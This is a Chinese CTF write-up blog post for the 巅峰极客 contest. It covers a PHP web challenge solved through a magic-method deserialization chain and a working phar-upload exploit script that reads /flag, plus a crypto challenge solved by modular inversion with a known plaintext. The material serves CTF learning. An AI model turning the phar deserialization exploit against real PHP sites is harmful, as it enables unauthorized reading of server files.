美文网首页
巅峰极客部分WP

巅峰极客部分WP

作者: Err0rzz | 来源:发表于2019-10-20 16:32 被阅读0次

Web

upload

通过download.php下载源码,可以通过f/ile绕过检测,`download.php·如下:

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}

观察到class.php,如下:

<?php

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        echo $this->file;
    }
}

class Sh0w
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = new Show('index.php');
        $this->str->source = $this->test;

    }
    public function __destruct()
    {
        $this->str->_show();
    }
}
?>

可以发现一条反序列化的利用链,这里需要熟悉php的各个魔术方法

Sh0w对象反序列化会调用__destruct()方法,然后执行$this->str->_show();
修改Sh0w对象中的$this->str指向S6ow对象
S6ow对象缺失_show()方法,所以会去调用__call($name, $arguments),且__call的参数$name等于缺失的函数,$arguments为缺失函数的参数,在本题中即为"_show"和空
S6ow对象缺失$_show变量,所以会去调用__get($key),且__get的参数$key等于所缺失的变量,在本题中即为"_show",所以返回$params['_show']
修改S6ow对象的$params['_show']的值为"file_get",所以最后__call会去执行file_get函数
修改S6ow对象的$file值为Show对象
因为打印了一个对象,所以会去执行Show对象的__toString方法
修改Show对象的$source的值为目标文件,在本题中即为"/flag",就可以绕过检测去读取目标文件

然后发现file.php中没有过滤phar,所以我们根据phar反序列化去读取文件。
exp如下:

<?php
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->source = 'flag';
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->file=new Show();
        $this->params['_show']='file_get';
    }
}
class Sh0w
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str = new s6ow();
    }

}
$exception = new Sh0w();
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>

然后修改后缀为jpg上传,然后利用phar://即可去读取flag

PS:对魔术方法还是不熟悉,因为打过bytectf,所以一开始只知道__call,然后就做不下去了。后来搜了一下才发现了这么多神奇的方法。wtcl~

LOL

马师傅的payload没看懂,等看懂了再写

Crypto

CoCo

很简单,稍微改一下变量名称即可,这里推荐VScode编辑器,支持右键全局更改变量名,修改后的代码如下:

from Crypto.Util.number import *
from Crypto.Random.random import *
from flag import flag

a = getStrongPrime(1024)
b = getStrongPrime(1024)
c = getStrongPrime(1024)

def gcd(Co, CoCo):
    while CoCo: Co, CoCo = CoCo, Co % CoCo
    return Co

def pow(n, CoCo, CoCoCo):
    tmp = 1
    while CoCo != 0:
        if (CoCo & 1) == 1:
            tmp = (tmp * n) % CoCoCo
        CoCo >>= 1
        n = (n * n) % CoCoCo
    return tmp

d = pow(c, a, b)
while True:
    f = randint(1, 2 ** 512)
    if gcd(f, b - 1) == 1:
        break

g = pow(c, f, b)
m1 = bytes_to_long("CoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCo")
c1 = (m1 * pow(d, f, b)) % b
m2 = bytes_to_long(flag)
c2 = (m2 * pow(d, f, b)) % b
with open('cipher.txt', 'w') as f:
    f.write("g = " + str(g) + "\n")
    f.write("c = " + str(c) + "\n")
    f.write("c1 = " + str(c1) + "\n")
    f.write("b = " + str(b) + "\n")
    f.write("c2 = " + str(c2) + "\n")

显然payload如下:

from Crypto.Util.number import *
import gmpy2
c1 = 120085813769601903784459580746767828105716607333492124010803514777437504109
3314480098908749398589846666411398193799697140702207630931885519668306306393081
4229971997625822745064214196342518742963688059348095149840638006874740411588940
0485463839002674872020074254287490910994729347868122864760194135575038263365
b = 133694097868622092961596455982173439482901807533684907590429464542321832157
7240526845174998710738268587622977294804143061611134127418650991631525054473348
6309743493294072926960598641844353220894211950504363499027171719869419012347854
7503837269948205839761848366722796091382894026537012764323367229104988051357
c2 = 539133200104746143537713486952625539353610785177429427453591821528822047807
6920600547481863701020956142048028052302950937528653888606162159624917940772869
7515399046471231513536340506648832858695583318765423245104561512700887050932667
507358898646356134386213016528778706360147066411877832628237361011621917972
m1 = bytes_to_long(b"CoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCo")
tmp = c1*gmpy2.invert(m1,b)%b
flag = c2*gmpy2.invert(tmp,b)%b
print long_to_bytes(flag)

cry2

还没人做出来,等出了wp再补充

相关文章

  • 巅峰极客部分WP

    Web upload 通过download.php下载源码,可以通过f/ile绕过检测,`download.php...

  • 数独 #回溯算法 #CTF

    1. intro:巅峰极客的一道逆向 刷巅峰极客2020里的rev题fu!kpy,复杂得不行但是看到if d[1]...

  • BUUCTF-[极客大挑战 2019]EasySQL 记录

    [极客大挑战 2019]EasySQL 直接试下万能密码 意外,送分题?试了下flag,是真的,看下大佬wp,发现...

  • DDCTF部分wp

    MISC-签到题 flag见公告 MISC-(╯°□°)╯︵ ┻━┻ ……被群里的思路带歪了想了好久反转和aaen...

  • HBNIS部分wp

    是省赛,练习题和比赛题挑了几个有意思的和没见过的写这里了,有几个题没什么用留个工具就好(大部分题都能用txt打开-...

  • buuoj部分wp

    Web 1.[SUCTF]EasySQL 预期解 后台的查询语句可能为select $_POST['a'] || ...

  • RoarCTF 部分WP

    WEB easy_calc 访问calc.php不带num参数的时候就可以得到calc.php源码 输入?num=...

  • 安恒8月&巅峰极客

    摸了,文明五真好玩 安恒 流量分析 2./admin/login.php?rec=login 3.admin/ad...

  • CSAW web部分wp

    0x01 Ldab Ldab????难道就是我前几天noxctf著名的Ldap注入 好了,参照noxctf的...

  • 红帽杯部分Wp

    Crypto rsa systemwriteup 拿到代码,粗略一看,嗯首先有个len为38的flag,另这个fl...

网友评论

      本文标题:巅峰极客部分WP

      本文链接:https://www.haomeiwen.com/subject/pxhnmctx.html